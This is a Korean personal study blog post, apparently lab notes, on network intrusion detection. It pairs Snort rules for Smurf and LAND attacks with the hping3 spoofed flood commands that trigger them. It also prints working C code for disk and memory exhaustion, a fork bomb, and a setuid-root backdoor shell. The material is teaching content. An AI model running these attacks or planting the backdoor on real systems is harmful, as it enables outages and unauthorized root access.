System Security DAY_013 네트워크 기반 침입 탐지 시스템,NIDS,리눅스 탐지하는방법,스노트 탐지,Smurf Attack, LAND Attack ,디스크 자원고갈 공격,메모리 자원 고갈 공격,권한 획득공격,backdoor attack,백도..

2023. 12. 29. 00:07Information Security 정보보안/System Security 시스템 보안

728x90

배울 내용: 

네트워크 기반 침입 탐지 시스템

NIDS

리눅스 탐지하는방법

스노트  탐지

Smurf Attack
 LAND Attack 
디스크 자원고갈 공격
메모리 자원 고갈 공격
권한 획득공격
backdoor attack
백도어 공격
백도어 만들기 
DoS/DDoS

 

 

 

 

 

 

 

 

 

제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때문에 정확하지 않을수 있음을 알려드립니다.

틀린게 있으면 댓글로 써주시면 고치겠습니다.

 

 

 

지난번에 snort 를 공부했었다

 

거기에 약간 추가적으로 몇개만 더하고 다른걸로 가보자 

 

 


Smurf Attack

스머프 공격 탐지 이다. 


alert icmp any any -> $HOME_NET any (msg:"Smurf Attack"; threshold:type threshold, track by_dst, count 100, seconds 1; sid:1000013; rev:1;)

 

 

칼리에선
 hping3 -a 192.168.10.101 192.168.10.255 --icmp --flood

-a 는 공격 전송할 ip 에 smurfing 하는것이고 브루트 포스로 전송한다 

 



 
 LAND Attack 
alert ip any any -> $HOME_NET any (msg:"LAND Attack";sameip; threshold:type both, track by_dst, count 100, seconds 1; sid:1000014; rev:1;)

 

 

kali에선 이렇게 한다
└─# hping3 -a 192.168.10.101 192.168.10.101 --icmp --flood

 

똑같은 ip에 똑같은 ip 가 들어가있는데 

이는 LAND 공격의 특징입니다.

 

그렇기 때문에 sameip: 로 소스와 목적지 IP 주소가 같은지 확인하기까지한다

 

 

 

LAND 공격은 TCP/IP 네트워크의 컴퓨터에 특수한 독성 패킷을 보내는 DoS(서비스 거부) 공격의 일종으로

 이는 같은 소스와 목적지 IP 주소 및 포트 번호를 가진 스푸핑된 TCP SYN 패킷(연결 시작)을 보내어 대상 시스템을  충돌하게 하거나 성능을 심각하게 저하시킨당 

 

 

이렇게 누누히 말하지만 

탐지하는게 중요 X  ,  정상적인것과 정상적이지 않은걸 분별하는게 중요!

 

 

 

 

 

 

 

이번엔

 


[DoS/DDoS]
디스크 자원고갈 공격 을해보자 

vi disk_attack.c 를 만든뒤에 

 


include <unistd.h>
#include <sys/file.h>

void main()
{
        int attack;
        char buf[100];
        attack = creat("/root/temfile",0777);
        while(1){
                write(attack,buf,sizeof(buf));
        }
}
을 만들어주고 

 


#gcc -o disk_attack disk_attack.c
컴파일 시키고 


<실행>
./disk_attack


이러면 temfile 에 쓸모없이 계속 만듬 용량이 커지게 되고 

결국 꽉차게 되면서 다음에 들어갈 공간이 없게 된다 .

 

 

그러면 공격자입장에서는 대 성 공 ㅋ

 

 

 

나머지는 다 알텐데 create 가 아니라 creat 라는걸 명심하자!

그리고 creat(파일(경로) , 허가권) 이라고 생각하면 간단하다 

그리고 while 문으로 계속 파일을 작성한다

 

 

 

 

 

 

 

 

 

 


이번엔

 

메모리 자원 고갈 공격

이다 


#include <stdio.h>
#include <stdlib.h>

vi mem.c
void main()
{
        char *m;
        printf("CTRL+C will terminate memory process\n");
        while(1){
        m = malloc(1000);
        }
}


#gcc -o mem mem.c -> 컴파일 시키고 

 

#./mem -> 실행해본다 


#gnome-system-monitor 로 확인해보면 순간 크게 오른걸 볼수있다


여기서 중요한건 이것이다

m = malloc(1000);:

    • malloc 함수를 사용하여 1000바이트의 메모리를 할당하고, 그 주소를 m에 저장하고
    • 이 라인은 루프 내에서 반복적으로 실행되므로, 프로그램이 실행되는 동안 계속 메모리를 할당하게 됩니다.

 

 

 

 

이 프로그램은 메모리 누수(memory leak)의 예시입니다.

malloc으로 할당된 메모리는 free 함수를 사용하여 명시적으로 해제해야 하는데, 이 코드는 그렇게 하지 않습니다.

결과적으로, 이 프로그램은 실행될 때마다 시스템의 사용 가능한 메모리를 점점 더 많이 소비하게 되고,

최종적으로는 메모리 부족(out of memory) 상태나 시스템의 불안정을 초래할 수 있다 

 

 

 

 

 

 

 

 

 

 

 

 



 메모리 자원고갈 공격(2)

vi mem2.c
#include <stdio.h>
#include <unistd.h>

int main(){
        while(1)
        fork();
        return(0);
}


#gcc -o mem2 mem2.c
#./mem2

 

이것또한 위에 것이랑 똑같다 그대신

fork() 가있는데 이건 나도 실행해봤는데 실행한 순간 아무것도 못했다 

 

그냥 프로그램 종료 버튼밖에...

 

코드가 엄청 간단하지만 엄청 치명적이였다..

좀더 디테일하게 알자면 

 

 

fork()를 무한 루프 안에서 호출하고 있어서,

매우 짧은 시간 내에 수많은 자식 프로세스를 생성하게 되는데

이것은 "포크 폭탄(Fork Bomb)"으로 알려져 있으며,

시스템의 모든 가능한 프로세스 리소스를 소모하여 시스템을 완전히 정지시킬 수 있다

매우 파괴적이기 때문에 실제 시스템에서 이 코드를 실행하는 것은 매우 위험함! 

 

 

 

 

 

 

 

 

권한 획득공격
<BackDoor>

 

흔히 백도어 많이 들어봤을꺼다

 

몰래 들어가 나중에 들어올

뒷문을 만든다라고 생각하자 


vi backdoor.c
그런코드 를 보면 이렇다 

 


#include <stdio.h>

main(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
}

 

 

이건 딱히 설명안해도 이해할것이다

uid 와 gid가 0 이면 root 로 인식한 걸 이용한 공격이다

 


#gcc -o backdoor backdoor.c

컴파일 시키고 


#cp backdoor /home/test
#cd /home/test

 


#chmod 4777 backdoor
 권한을 다 준뒤에 

 


#su - test

test로 들어가서 


#./backdoor 
백도어를 실행하면 root  권한을 획득한다 

 

 

 

 

 

 

 

728x90